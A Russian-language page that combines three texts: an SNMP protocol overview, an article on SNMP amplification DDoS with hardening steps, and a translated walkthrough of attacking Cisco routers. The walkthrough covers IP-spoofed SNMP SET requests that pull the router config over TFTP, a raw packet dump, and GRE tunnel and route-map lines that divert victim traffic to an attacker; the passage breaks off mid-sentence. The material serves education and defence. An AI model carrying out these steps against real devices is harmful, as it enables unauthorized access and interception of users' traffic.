Данная статья посвящена протоколу SNMP (Simple Network Management Protocol) - одному из протоколов модели OSI, который практически не был затронут в документации просторов RU-нета. Автор попытался заполнить этот вакуум, предоставив читателю почву для размышлений и самосовершенствования, касательно этого, возможно нового для Вас, вопроса. Этот документ не претендует на звание "документации для разработчика", а просто отражает желание автора, насколько это возможно, осветить аспекты работы с данным протоколом, показать его слабые места, уязвимости в системе "security", цели преследованные создателями и объяснить его предназначение.

Предназначение

Протокол SNMP был разработан с целью проверки функционирования сетевых маршрутизаторов и мостов. Впоследствии сфера действия протокола охватила и другие сетевые устройства, такие как хабы, шлюзы, терминальные сервера, LAN Manager сервера, машины под управлением Windows NT и т.д. Кроме того, протокол допускает возможность внесения изменений в функционирование указанных устройств.

Теория

Основными взаимодействующими лицами протокола являются агенты и системы управления. Если рассматривать эти два понятия на языке "клиент-сервер", то роль сервера выполняют агенты, то есть те самые устройства, для опроса состояния которых и был разработан рассматриваемый нами протокол. Соответственно, роль клиентов отводится системам управления - сетевым приложениям, необходимым для сбора информации о функционировании агентов. Помимо этих двух субъектов в модели протокола можно выделить также еще два: управляющую информацию и сам протокол обмена данными.

"Для чего вообще нужно производить опрос оборудования?" - спросите Вы. Постараюсь пролить свет на этот вопрос. Иногда в процессе функционирования сети возникает необходимость определить определенные параметры некоторого устройства, такие как, например, размер MTU, количество принятых пакетов, открытые порты, установленную на машине операционную систему и ее версию, узнать включена ли опция форвардинга на машине и многое другое. Для осуществления этого как нельзя лучше подходят SNMP клиенты.

Помимо сказанного выше рассматриваемый протокол обладает еще одной весьма важной особенностью, а именно возможностью модифицировать данные на агентах. Безусловно, было бы глупостью разрешить модификацию абсолютно любого параметра, но,не смотря на это, и количество тех параметров, для которых допускается операция записи просто пугает. С первого взгляда это полностью опровергает всю теорию сетевой безопасности, но, если углубиться в вопрос, то становится ясно, что не все так запущено, как кажется с первого взгляда. "Волков бояться - в лес не ходить". Ведь при небольших усилиях администратора сети можно свести риск успешного завершения атаки к минимуму. Но этот аспект мы обсудим позже.

Остановимся на том, какую же все-таки информацию может почерпнуть система управления из недр SNMP. Вся информация об объектах системы-агента подержится в так называемой MIB (management information base) - базе управляющей информации, другими словами MIB представляет собой совокупность объектов, доступных для операций записи-чтения для каждого конкретного клиента, в зависимости от структуры и предназначения самого клиента. Ведь не имеет смысла спрашивать у терминального сервера количество отброшенных пакетов, так как эти данные не имеют никакого отношения к его работе, так как и информация об администраторе для маршрутизатора. Потому управляющая система должна точно представлять себе, что и у кого запрашивать. На данный момент существует четыре базы MIB:

1. Internet MIB - база данных объектов для обеспечения диагностики ошибок и конфигураций. Включает в себя 171 объект (в том числе и объекты MIB I).
2. LAN manager MIB - база из 90 объектов - пароли, сессии, пользователи, общие ресурсы.
3. WINS MIB - база объектов, необходимых для функционирования WINS сервера (WINSMIB.DLL).
4. DHCP MIB - база объектов, необходимых для функционирования DHCP сервера (DHCPMIB.DLL), служащего для динамического выделения IP адресов в сети.

Все имена MIB имеют иерархическую структуру. Существует десять корневых алиасов:

1. System - данная группа MIB II содержит в себе семь объектов, каждый из которых служит для хранения информации о системе (версия ОС, время работы и т.д.).
2. Interfaces - содержит 23 объекта, необходимых для ведения статистики сетевых интерфейсов агентов (количество интерфейсов, размер MTU, скорость передачи, физические адреса и т.д.) .
3. AT (3 объекта) - отвечают за трансляцию адресов. Более не используется. Была включена в MIB I. Примером использования объектов AT может послужить простая ARP таблица (более подробно об ARP протоколе можно почитать в статье "Нестандартное использование протокола ARP", которую можно найти на сайте www.uinc.ru в разделе "Articles") соответствия физических (MAC) адресов сетевых карт IP адресам машин. В SNMP v2 эта информация была перенесена в MIB для соответствующих протоколов.
4. IP (42 объекта) - данные о проходящих IP пакетах (количество запросов, ответов, отброшенных пакетов).
5. ICMP (26 объектов) - информация о контрольных сообщениях (входящие/исходящие сообщения, ошибки и т.д.).
6. TCP (19) - все, что касается одноименного транспортного протокола (алгоритмы, константы, соединения, открытые порты и т.п.).
7. UDP (6) - аналогично, только для UDP протокола (входящие/исходящие датаграммы, порты, ошибки).
8. EGP (20) - данные о трафике Exterior Gateway Protocol (используется маршрутизаторами, объекты хранят информацию о принятых/отосланных/отброшенных кардах).
9. Transmission - зарезервирована для специфических MIB.
10. SNMP (29) - статистика по SNMP - входящие/исходящие пакеты, ограничения пакетов по размеру, ошибки, данные об обработанных запросах и многое другое.

Каждый из них представим в виде дерева, растущего вниз, (система до боли напоминает организацию DNS). Например, к адресу администратора мы можем обратиться посредством такого пути: system.sysContact.0 , ко времени работы системы system.sysUpTime.0 , к описанию системы (версия, ядро и другая информация об ОС) : system.sysDescr.0 . С другой стороны те же данные могут задаваться и в точечной нотации. Так system.sysUpTime.0 соответствует значение 1.3.0, так как system имеет индекс "1" в группах MIB II, а sysUpTime - 3 в иерархии группы system. Ноль в конце пути говорит о скалярном типе хранимых данных. Ссылку на полный список (256 объектов MIB II) Вы можете найти в конце статьи в разделе "Приложение". В процессе работы символьные имена объектов не используются, то есть если менеджер запрашивает у агента содержимое параметра system.sysDescr.0, то в строке запроса ссылка на объект будет преобразована в "1.1.0", а не будет передана "как есть". Далее мы рассмотрим BULK-запрос и тогда станет ясно, почему это столь важно. На этом мы завершим обзор структуры MIB II и перейдем непосредственно к описанию взаимодействия менеджеров (систем управления) и агентов. В SNMP клиент взаимодействует с сервером по принципу запрос-ответ. Сам по себе агент способен инициировать только оно действие, называемое ловушкой прерыванием (в некоторой литературе "trap" - ловушка). Помимо этого, все действия агентов сводятся к ответам на запросы, посылаемые менеджерами. Менеджеры же имеют гораздо больший "простор для творчества", они в состоянии осуществлять четыре вида запросов:

• GetRequest - запрос у агента информации об одной переменной.
• GetNextRequest - дает агенту указание выдать данные о следующей (в иерархии) переменной.
• GetBulkRequest - запрос за получение массива данных. При получении такового, агент проверяет типы данных в запросе на соответствие данным из своей таблицы и цикле заполняет структуру значениями параметров: for(repeatCount = 1; repeatCount < max_repetitions; repeatCount++) Теперь представьте себе запрос менеджера на получение списка из сотни значений переменных, посланный в символьном виде, и сравните размер такового с размером аналогичного запроса в точечной нотации. Думаю, Вы понимаете, к чему привела бы ситуация, если бы символьные имена не преобразовывались вышеуказанным образом.
• SetRequest - указание установить определенное значение переменой.

Кроме этого менеждеры могут обмениваться друг с другом информацией о своей локальной MIB. Такой тип запросов носит название InformRequest.

Приведу значения числовых констант для всех видов запросов:

#define SNMP_MSG_GET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x0)
#define SNMP_MSG_GETNEXT (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x1)
#define SNMP_MSG_RESPONSE (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x2)
#define SNMP_MSG_SET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x3)
/* PDU для SNMPv1 */
#define SNMP_MSG_TRAP (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x4)
/* PDU для SNMPv2 */
#define SNMP_MSG_GETBULK (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x5)
#define SNMP_MSG_INFORM (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x6)
#define SNMP_MSG_TRAP2 (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x7)

Вот тут то мы сталкиваемся с еще одной интересной деталью, как видите для ловушке есть 2 числовые константы. На самом деле существует 2 основные версии протокола SNMP (v1 & v2) и самое важное то, что они не являются совместимыми (на самом деле версий значительно больше -SNMP v2{p | c | u} etc, только все эти модификации довольно незначительны, так как, например, введение поддержки md5 и т.п.). SNMP - протокол контроля и диагностики, в связи с чем, он рассчитан на ситуации, когда нарушается целостность маршрутов, кроме того в такой ситуации требуется как можно менее требовательный с аппаратуре транспортный протокол, потому выбор был сделан в сторону UDP. Но это не значит, что никакой другой протокол не может переносить пакеты SNMP. Таковым может быть IPX протокол (например, в сетях NetWare) , также в виде транспорта могут выступать карды Ethernet, ячейки ATM. Отличительной особенностью рассматриваемого протокола есть то, что передача данных осуществляется без установки соединения.

Допустим менеджер послал несколько пакетов разным агентам, как же системе управления в дальнейшем определить какой из приходящих пакетов касается 1ого и 2ого агента? Для этого каждому пакету приписывается определенный ID - числовое значение. Когда агент получает запрос от менеджера, он генерирует ответ и вставляет в пакет значение ID , полученное им из запроса (не модифицирую его). Одним из ключевых понятий в SNMP является понятие group (группа). Процедура авторизации менеджера представляет собой простую проверку на принадлежность его к определенной группе, из списка, находящегося у агента. Если агент не находит группы менеджера в своем списке, их дальнейшее взаимодействие невозможно. До этого мы несколько раз сталкивались с первой и второй версией SNMP. Обратим внимание на отличие между ними. Первым делом заметим, что в SNMP v2 включена поддержка шифрования трафика, для чего, в зависимости от реализации, используются алгоритмы DES, MD5 . Это ведет к тому что при передаче данных наиболее важные данные недоступны для извлечения сниффингом, в том числе и информация о группах сети. Все это привело в увеличению самого трафика и усложнению структуры пакета. Сам по себе, на данный момент, v2 практически нигде не используется. Машины под управлением Windows NT используют SNMP v1. Таким образом мы медленно переходим к, пожалуй, самой интересной части статьи, а именно к проблемам Security. Об этом давайте и поговорим...

Практика и безопасность

В наше время вопросы сетевой безопасности приобретают особое значение, особенно когда речь идет о протоколах передачи данных, тем более в корпоративных сетях. Даже после поверхностного знакомства с SNMP v1/v2 становится понятно, что разработчики протокола думали об этом в последнюю очередь или же их жестко поджимали сроки сдачи проекта %-). Создается впечатление что протокол рассчитан на работу в среде так называемых "доверенных хостов". Представим себе некую виртуальную личность. Человека, точнее некий IP адрес, обладатель которого имеет намерение получить выгоду, либо же просто насолить администратору путем нарушения работы некой сети. Станем на место этой особы. Рассмотрение этого вопроса сведем к двум пунктам:

• a) мы находимся вне "враждебной сети". Каким же образом мы можем совершить свое черное дело? В первую очередь предполагаем что мы знаем адрес шлюза сети. Согласно RFC, соединение системы управления с агентом происходит по 161-ому порту (UDP). Вспомним о том что для удачной работы необходимо знание группы. Тут злоумышленнику на помощь приходит то, что зачастую администраторы оставляют значения (имена) групп, выставленные по умолчанию, а по умолчанию для SNMP существует две группы - "private" и "public". В случае если администратор не предусмотрел подобного развития событий, недоброжелатель может доставить ему массу неприятностей. Как известно, SNMP протокол является частью FingerPrintering. При желании, благодаря группе system MIB II, есть возможность узнать довольно большой объем информации о системе. Чего хотя бы стоит read-only параметр sysDescr. Ведь зная точно версию программного обеспечения, есть шанс, используя средства для соответствующей ОС получить полный контроль над системой. Я не зря упомянул атрибут read-only этого параметра. Ведь не порывшись в исходниках snmpd (в случае UNIX подобной ОС), этот параметр изменить нельзя, то есть агент добросовестно выдаст злоумышленнику все необходимые для него данные. А ведь не надо забывать о том, что реализации агентов под Windows поставляются без исходных кодов, а знание операционной системы - 50% успеха атаки. Кроме того, вспомним про то, что множество параметров имеют атрибут rw (read-write), и среди таких параметров - форвардинг! Представьте себе последствия установки его в режим "notForwarding(2)". К примеру в Linux реализации ПО для SNMP под название ucd-snmp есть возможность удаленного запуска скриптов на сервера, путем посылки соответствующего запроса. Думаю, всем понятно к чему могут привести "недоработки администратора".
• б) злоумышленник находится на локальной машине. В таком случае вероятность увольнения админа резко возрастает. Ведь нахождение в одном сегменте сети дает возможность простым сниффингом отловить названия групп, а с ними и множество системной информации. Этого случая также касается все сказанное в пункте (а).

Перейдем к "практическим занятиям". Что же может на понадобиться. В первую очередь программное обеспечение. Его можно достать на . Примеры я буду приводить для ОС Линукс, но синтаксис команд аналогичен Windows ПО.

Установка пакета стандартна:

gunzip udc-snmp-3.5.3.tar.gz
tar -xvf udc-snmp-3.5.3.tar
cd udc-snmp-3.5.3
./configure
make
make install

Запуск демона (агента)

После инсталяции Вам доступны программы:

snmpget
snmpset
snmpgetnext
snmpwalk
snmpbulkwalk
snmpcheck
snmptest
snmpdelta
snmpnetstat snmpstatus
snmptable
snmptrap
snmptranstat
и демон
snmptrapd

Посмотрим, как выглядят описанные выше операции на практике.

Запрос GetRequest реализует одноименная программа snmpget

Для получения необходимой информации выполним следующую команду:

root@darkstar:~# snmpget 10.0.0.2 public system.sysDescr.0

На что сервер добросовестно сообщит нам:

system.sysDescr.0 = Hardware: x86 Family 6 Model 5 Stepping 0 AT/AT COMPATIBLE - Software: Windows NT Version 4.0 (Build Number: 1381 Uniprocessor Free)

(не правда ли - довольно содержательно), либо же

system.sysDescr.0 = Linux darkstar 2.4.5 #1 SMP Fri Aug 17 09:42:17 EEST 2001 i586

Прямо-таки - руководство по проникновению.

Допустим, мы хотим что-либо изменить в настройках агента. Проделаем следующую операцию:

root@darkstar:~# snmpset 10.0.0.2 public system.sysContact.0 s [email protected]

и получим ответ:

system.sysContact.0 = [email protected]

Список объектов MIB II с атрибутами можно найти пойдя по ссылке, указанной в "Приложении".

Думаю, настало время рассмотреть SNMP на пакетном уровне. Этот пакет был отловлен сниффером NetXRay на сетевом интерфейсе агента:

Как видим - практика не далека от теории. Наблюдаем Request ID и параметры запроса. На полном скриншоте можно увидеть стек протоколов - от кадров Ethernet, через UDP доходим до самого Simple Network Management Protocol:

А этот пакет был получен с интерфейса менеджера:

Как видите, название группы абсолютно никак не шифруется (о чем в свою очередь говорит Protocol version number: 1). Хочется отметить, что согласно спецификации протокола, пакеты SNMP не имеют четко определенной длины. Существует ограничение сверху равное длине UDP сообщения, равное 65507 байт, в свою очередь сам пртокол накладывает другое максимальное значение - лишь 484 байта. В свою очередь не имеет установленного значения и длина заголовка пакета (headerLength).

Ну вот мы в общих чертах и ознакомились с протоколом SNMP. Что еще можно добавить к сказанному выше... Можно лишь дать пару советов сетевым администраторам, дабы уменьшить риск возникновения пролем с безопасностью сети... В первую очередь должное внимание следует уделить настройке файрволинга. Во-вторых - изменить установленные по умоланию имена групп. Разумным было бы жестко зафиксировать адреса машин (менеджеров), с которых разрешается опрос агентов. На этом, считаю, статью можно и закончить. Хочется верить, что она показалась Вам интересной.

По согласованию с редакцией журнала публикую свою статью "Защита от DDoS подручными средствами. Часть 3. SNMP Amplification" из номера 164-165 (июль-август 2016) выпуска журнала "Системный администратор" .

Чтобы сделать свой вклад в защиту всемирного киберпространства от DDoS, совсем не обязательно покупать дорогостоящее оборудование или сервис. Любой администратор сервера, доступного из Интернет, может поучаствовать в столь благородном деле без дополнительных материальных вложений, используя только знания и немного времени.

Рассмотрим DDoS-атаки типа "усиление"(amplification) с использованием сервиса SNMP .

SNMP amplification

Суть атаки заключается в том, чтобы инициировать многократно увеличенный ответ на SNMP- запрос. Изначально разработанные для автоматизации получения табличных данных при минимизации количества отправляемых пакетов BULK- запросы стали довольно эффективным инструментом проведения DDoS- атак в руках злоумышленников. Как гласит RFC3416, GetBulkRequest, р еализованный в SNMP версии 2, предназначен для возможности запросить большой объем данных, чем и пользуются атакующие, используя неправильно настроенные сервера в Интернет.

Если установить максимальное число возвращаемых строк в таблице 20000 и выполнить запрос в адрес неправильно настроенного сервера/устройства:

:~$ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 1.3.6.1

ответ выдаст приблизительно следующее:

iso.3.6.1.2.1.1.1.0 = STRING: "SNMP4J-Agent - Windows 2003 - x86 - 5.2"

< пропущено 290 строк >

iso.3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12.123.123.12 = No more variables left in this MIB View (It is past the end of the MIB tree)

При этом запущенный tcpdump покажет размер возвращенного пакета:

21:41:18.185058 IP 192.168.10.128.39565 > 192.168.10.129.snmp: GetBulk(25) N=0 M=20000 .iso.org.dod.internet

21:41:18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565:

В ответ на запрос размером около 70 байт с учетом заголовков сервер возвращает ответ размером порядка 10 килобайт, то есть, почти в 150 раз больше. Коэффициент усиления не фиксирован и может принимать как большее (достигая 1700 раз), так и меньшее значение, в зависимости от типа ОС и параметров конфигурации устройства. Если при формировании подобного запроса использовать подмену IP- адреса отправителя на адрес жертвы и высокую интенсивность обращений к уязвимому серверу — DDoS- атака готова.

Причина

Суть проблемы заключается, как правило, не в уязвимости, не в настройке количества отдаваемых значений на один GetBulkRequest, а в том, что значение SNMP community установлено по умолчанию: public – read-only или, что еще хуже, private – read-write. Протокол SNMP версий 1 и 2 основан на UDP, используется для мониторинга и управления, а в качестве аутентификационного параметра доступа к управляемому оборудованию использует значение community, которое может быть задано только для чтения (read-only ) либо с возможностью записи (read-write ). Зачастую в системах при активации сервиса SNMP устанавливается значение по умолчанию — public для read-only и private для read-write. Даже если абстрагироваться от возможности использования некорректно настроенного сервера в качестве рефлектора для усиления атак SNMP, то очевидна угроза получения информации о сервере, установленном на нем ПО и его версиях, при использовании значения public по умолчанию для read-only. Практически безграничный привилегированный доступ с правами администратора к устройству дает read-write community private . Даже если не будет производиться вредоносных изменений, интенсивные запросы с использованием протокола SNMP могут вызвать значительную нагрузку на вычислительные ресурсы опрашиваемого сервера, чем повлиять на качество предоставляемых им сервисов.

Защита

Специфические для SNMP рекомендации по обеспечению безопасности сервера либо сетевого оборудования можно разделить на такие направления:

1. Архитектурное: разрешение обработки запросов только на интерфейсах, недоступных из недоверенных сетей.

2. Смена community на более трудноугадываемое.

3. Ограничение IP- адресов управляющих станций.

4. Ограничение ветки OID, доступной для получения/изменения по SNMP.

5 . Минимизация либо отказ от использования community на чтение и запись.

6 . Переход на SNMP версии 3 с использованием дополнительных параметров аутентификации и шифрования.

7. Отключение SNMP, если не используется.

Как выполнить эти действия на разных операционных системах?

В конфигурационном файле сервиса snmp настраиваются следующие параметры:

agentAddress udp:10.0.0.1:161 # IP- адрес, протокол и порт, принимающий запросы SNMP

Если Unix- сервер по сути является маршрутизатором и архитектурно имеет несколько интерфейсов, для безопасности необходимо оставить доступным по SNMP только интерфейс, достуный из доверенного сегмента, но не из Интернет. Имя community для доступа задается параметром rocommunity (read-only ) либо rwcommunity (read-write), также возможно задать подсеть, доступ из которой разрешен, и ветку OID, доступную для работы указанной подсети с заданными правами строки community. Например, для того, чтобы разрешить системам мониторинга из подсети 10.0.0.0/24 доступ к информации по интерфейсам (OID 1.3.6.1.2.1.2 ), используя строку доступа MaKe_It_SeCuRe с правами только для чтения, конфигурационный фрагмент будет выглядеть следующим образом:

rocommunity MaKe_It_SeCuRe 10.0.0.0/24 .1.3.6.1.2.1.2

В частных случаях использования разнообразных Unix- систем вышеуказанная строка может иметь несколько видоизмененный синтаксис за счет использования других параметров и иерархической структуры компонентов конфигурационного файла. Подробное описание можно найти, набрав команду

man snmpd.conf

Но если задача состоит в том, чтобы максимально быстро обеспечить безопасность сервиса snmpd, который до этого был настроен неправильно предшественником, можно создать резервную копию snmpd.conf, в новый конфигурационный файл внести ограничения по подсети систем мониторинга и изменить community. В Debian это будет выглядеть следующим образом:

# cd < директория с snmpd.conf>

# mv snmpd.conf snmpd.conf.backup

# echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf

# /etc/init.d/snmpd restart

После этого доступ по SNMP к серверу будет только у подсети 10.0.0.0/24 с использованием нового community, при этом все сервера, на которых не изменено community на новое, перестанут получать ответы на запросы, как и злоумышленники.

Более безопасным будет переход на использование SNMPv3, в котором существует возможность варьирования параметров аутентификации. Кроме того, в отличие от версий 1 и 2c, SNMPv3 позволяет обеспечить шифрование трафика между системой мониторинга и опрашиваемым оборудованием. Для создания пользователя с правами только на чтение, аутентификацией и шифрованием трафика, в конфигурационный файл snmpd.conf необходимо добавить:

createUser v3user SHA "some_AuThPaSs" AES some_privpass

authuser read v3user authpriv 1.3.6.1.2.1 . 2

Соответственно, пользователь v3user получит права read-only для просмотра ветки 1.3.6.1.2.1.2 по SNMP.

Проверить корректность конфигурации можно после рестарта сервиса SNMP на сервере 192.168.10.128 командой, выполненной на клиенте:

$ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA -x AES -u v3user -l authPriv 192.168.10.128 1

При этом, несмотря на то, что опрашиваться будет все дерево, начиная с 1, сервер отдаст только разрешенную ветку 1.3.6.1.2.1. 2 , которая будет задана в конфигурации.

При отказе от SNMP v1/v2c в пользу SNMPv3 необходимо также удалить из конфигурационного файла фрагменты настройки, не имеющие отношение к SNMPv3.

Если же SNMP для мониторинга сервера не используется, наиболее верным решением будет удаление пакета snmpd.

В Cisco IOS отсутствует возможность выбора интерфейса, который будет обрабатывать запросы SNMP. Ограничение выполняется с помощью списков доступа (access-control list, ACL ) . Предположим, разрешенной будет подсеть 10.0.0.0/24. Создается ACL:

(config)#access-list 10 permit 10.0.0.0 0.0.0.255

который затем применяется к соответствующему community для SNMP v1/v2c, в данном примере MaKe_It_SeCuRe с правом доступа только на чтение :

(config)#snmp-server community MaKe_It_SeCuRe RO 10

Ограничение к веткам SNMP OID применяется с помощью view

(config)# snmp-server view IFACES 1.3.6.1.2.1. 2 included

после чего к созданному view прикрепляется community:

(config)#snmp-server community MaKe_It_SeCuRe view IFACES RO 10

Для того, чтобы использовать SNMPv3 с необходимыми ограничениями (аутентификация и шифрование, только чтение, доступ из подсети 10.0.0.0/24 к ветке интерфейсов, обозначенной во view IFACES) , необходимо создать группу (SECURE) с доступом на чтение только к OID из view IFACES и необходимостью аутентификации с шифрованием, привязав ее к созданному ранее access-list 10 :

(config)# snmp-server group SECURE v3 priv read IFACES access 10

затем добавить в группу учетную запись пользователя (v3user) , задав ему пароли на аутентификацию и шифрование, а также алгоритм шифрования (в данном случае AES128 ):

(config)# snmp-server user v3user SECURE v3 auth sha Strong_Password priv aes 128 Priv_Password

SNMP может использоваться для управления, и настройка параметров доступа по умолчанию по степени опасности сравнима с легкоугадываемым паролем для входа по SSH. Выполнив описанные в статье рекомендации, мы не только напрямую защитимся от атак на нашу сеть и сервера, но сделаем невозможным использование своих ресурсов для атак на других, а также минимизируем количество оснований для кричащих заголовков в прессе «Русские хакеры атаковали...».

Итого, защитить свои сервера и сеть от несанкционированного доступа с использвоанием протокола SNMP, уменьшить количество DDoS-атак типа SNMP amplification и минимизировать участие в них своего инфраструктурного сегмента можно с помощью следующих действий, не требующих дополнительных финансовых вложений:

Управление оборудованием только из доверенного сегмента сети . Ограничение посредством привязки сервиса к определенному интерфейсу либо с помощью списков доступа.

Изменение значений SNMP community по умолчанию (public и private) на трудноугадываемые .

Ограничение ветки OID, доступной для получения/изменения по SNMP.

Использование только SNMPv 3 с применением дополнительных параметров аутентификации и шифрования.

Отключение сервиса SNMP с удалением кофигурации — в случае принятия решения о полном отказе от SNMP.

И если так поступит каждый администратор серверов, доступных из сети Интернет, цифровой мир приблизится еще на один шаг к совершенству .

Атака на Cisco через SNMP

Alexander Antipov

Матиай Арони и Уильям М. Идальго, перевод Владимир Куксенок

Введение

Часто системные администраторы имеют смутное представление о SNMP. Вследствие неопределенного представления о предназначении этого протокола, а соответственно и незнания потенциально возможных проблем, вопросы его безопасности часто упускаются из виду.

Вероятно, вы удивитесь, впервые увидев вывод утилиты наподобие SNMP-Enum Филиппа Уэйтенса (Filip Waeytens), запущенной на Windows 2000 Server с включенным SNMP сервисом. Собранная информация могла бы сильно озадачить системного администратора и дать представление о богатых возможностях SNMP.

Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть маршрутизаторы Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP.

Сценарий атаки

Взгляните на пример сценария атаки, показанный на Рисунке 1.


Рисунок 1. Пример сценария атаки.

Ознакомьтесь со сценарием атаки. Ниже приводится текущая конфигурация атакуемого маршрутизатора (Victim Router):

Current configuration: 1206 bytes ! version 12.3 ! hostname Victim ! enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0 ! interface Ethernet0/0 ip address dhcp ip nat outside half-duplex ! interface Ethernet0/1 ip address 192.168.1.1 255.255.255.0 ip nat inside half-duplex ! router rip network 192.168.1.0 ! ip nat inside source list 102 interface Ethernet0/0 overload no ip http server ip classless ! access-list 1 permit 192.168.1.0 0.0.0.255 access-list 102 permit ip any any ! snmp-server community public RO snmp-server community private RW 1 snmp-server enable traps tty ! line con 0 logging synchronous login line aux 0 line vty 0 4 password secret login ! ! end

Обратите внимание на правило доступа для группы RW. Это правило пытается ограничить SNMP доступ на чтение/запись, разрешив его только для пользователей из локальной сети (192.168.1.0).

Можно выделить два основных этапа атаки:

1. Обход правил доступа SNMP на атакуемом маршрутизаторе с целью получения доступа к конфигурационному файлу маршрутизатора.
2. Создание GRE туннеля между атакуемым маршрутизатором и маршрутизатором хакера для удаленного перехвата трафика атакуемой клиентской машины (Victim Client).

Теория

Как упоминалось в статье “Exploiting Cisco Routers, Part 1” , используя SNMP-команду SET, можно заставить Cisco маршрутизатор замещать/отправлять его конфигурационный файл с помощью TFTP.

Отправив SNMP запрос SET с поддельным IP адресом (из диапазона, описанного в RFC1918 - 192.168.1.0) мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем ‘private community string’ и ACL, описанные в строке конфигурации группы RW.

Обход правил доступа SNMP

Начнем с создания поддельного SNMP запроса. Используя небольшой Perl скрипт и Ethereal, перехватим стандартный SNMP SET запрос “copy config”, который мы будем использовать в качестве базового пакета. root@whax# ./copy-router-config.pl ###################################################### # Copy Cisco Router config - Using SNMP # Hacked up by muts - [email protected] ####################################################### Usage: ./cisco-copy-config.pl Make sure a TFTP server is set up, preferably running from /tmp ! root@whax# После выполнения скрипта будет перехвачен SNMP пакет, подобный тому, что показан на Рисунке 2. Как и ожидалось, этот запрос был отклонен маршрутизатором, и конфигурационный файл не был отослан.


Рисунок 2. Перехваченный SNMP пакет.

Обратите внимание на IP адрес атакующего (80.179.76.227). Теперь, используя hex-редактор, мы изменим этот IP адрес и некоторый другие поля заголовка пакета. В шестнадцатеричной системе счисления подделанный IP адрес 192.168.1.5 выглядит как C0 A8 01 05, что и продемонстрировано на Рисунке 3.

Рисунок 3. Изменение обратного IP адреса пакета.

Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов):

Root@whax:~# file2cable -v -i eth0 -f /root/snmp-mod file2cable - by FX Thanx go to Lamont Granquist & fyodor for their hexdump() /root/snmp-mod - 238 bytes raw data 000f 347c 501f 0006 1bcc 00fa 0800 4500 ..4|P.........E. 00e0 0000 4000 4011 35bd c0a8 0105 d4c7 ....@[email protected]....... 91f2 8000 00a1 00cc 052e 3081 c102 0100 ..........0..... 0407 7072 6976 6174 65a3 81b2 0203 00d6 ..private....... 9b02 0100 0201 0030 81a4 3016 0611 2b06 .......0..0...+. 0104 0109 0960 0101 0101 0283 f1b0 7802 .....`........x. 0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0...+. 0104 0109 0960 0101 0101 0483 f1b0 7802 .....`........x. 0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0583 f1b0 7840 0450 b34c e330 2706 [email protected]". 112b 0601 0401 0909 6001 0101 0106 83f1 .+......`....... b078 0412 7077 6e64 2d72 6f75 7465 722e .x..pwnd-router. 636f 6e66 6967 3016 0611 2b06 0104 0109 config0...+..... 0960 0101 0101 0e83 f1b0 7802 0104 .`........x... Packet length: 238 root@whax:~# После этого наш TFTP сервер примет соединение, Ethereal-лог которого показан на Рисунке 4.


Рисунок 4. Соединение с TFTP сервером, перехваченное Ethereal.

Обратите внимание на обратный IP адрес SNMP пакета и на TFTP запрос на запись (пакеты 1 и 2). Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого маршрутизатора по TFTP.

GRE туннель

GRE (Generic Routing Encapsulation) – протокол туннелирования, разработанный для инкапсуляции произвольных типов пакетов сетевого уровня внутри пакета сетевого уровня. Один из вариантов использования GRE – соединение сегментов IPX сети через канал связи поддерживающий только сетевой уровень модели OSI. В этом случае вам нужно будет создать GRE туннель с одного маршрутизатора на другой для передачи IPX пакетов туда и обратно через канал поддерживающий только протокол IP.

Однако мы будем использовать GRE для достижения целей, отличных от его обычного предназначения. Наш план состоит в следующем:

• Создать GRE туннель от атакуемого маршрутизатора до маршрутизатора хакера.
• Определить, какой трафик будет проходить через туннель.
• Распаковывать GRE пакеты идущие с атакованного маршрутизатора и переправлять их на компьютер атакующего (sniffer) для анализа.

Атакуемый маршрутизатор

Нам нужно создать GRE туннель на атакуемом маршрутизаторе. Так как доступа к терминалу (консоли) у нас нет, мы можем просто отредактировать полученный файл конфигурации и затем отправить его назад на маршрутизатор, используя поддельный SNMP SET запрос. Добавим следующие строки в файл конфигурации атакуемого маршрутизатора: interface tunnel0 ip address 192.168.10.1 255.255.255.0 tunnel source Ethernet0/0 tunnel destination tunnel mode gre ip Они означают следующее:

• Мы создали интерфейс tunnel0 и указали IP адрес из сети 192.168.10.x . Для обмена данными оба конца туннеля должны находиться в одной подсети.
• Мы указали, что интерфейс Ethernet0/0 является началом туннеля (а иначе, откуда туннель мог бы начинаться?)
• Конец туннеля это IP адрес внешнего интерфейса маршрутизатора хакера.
• Последняя команда не обязательна, так как по умолчанию все равно создается именно GRE туннель (но мы все же добавили ее для большей уверенности).

Теперь мы можем настроить правила доступа (access-lists) для указания типа проходящего через туннель трафика и карты маршрутизации (route-maps) необходимые для перенаправления трафика.

Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк:

Access-list 101 permit tcp any any eq 443 access-list 101 permit tcp any any eq 80 access-list 101 permit tcp any any eq 21 access-list 101 permit tcp any any eq 20 access-list 101 permit tcp any any eq 23 access-list 101 permit tcp any any eq 25 access-list 101 permit tcp any any eq 110 Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3.

Теперь, если трафик соответствует вышеописанным правилам, он будет перенаправлен в соответствии с картами маршрутизации, описание которых нужно добавить в файл конфигурации:

Router-map divert-traffic match ip address 101 set ip next-hop 192.168.10.2 interface Ethernet0/0 ip policy route-map divert-traffic Эта запись несет в себе следующий смысл:

